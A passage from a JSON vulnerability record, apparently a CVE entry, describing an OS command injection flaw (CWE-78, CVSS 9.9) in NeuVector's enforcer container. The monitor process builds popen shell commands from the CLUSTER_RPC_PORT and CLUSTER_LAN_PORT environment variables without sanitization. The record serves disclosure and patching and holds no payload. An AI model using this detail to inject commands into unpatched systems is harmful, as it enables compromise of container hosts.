When the enforcer container stops, the monitor process checks \nwhether the consul subprocess has exited. To perform this check, the \nmonitor process uses the popen function to execute a shell command that determines whether the ports used by the consul subprocess are still active.\n\n\nThe values of environment variables CLUSTER_RPC_PORT and CLUSTER_LAN_PORT\n are used directly to compose shell commands via popen without \nvalidation or sanitization. This behavior could allow a malicious user \nto inject malicious commands through these variables within the enforcer\n container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-54469", "source": "[email protected]"}, {"url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-c8g6-qrwh-m3vp", "source": "[email protected]"}]}}
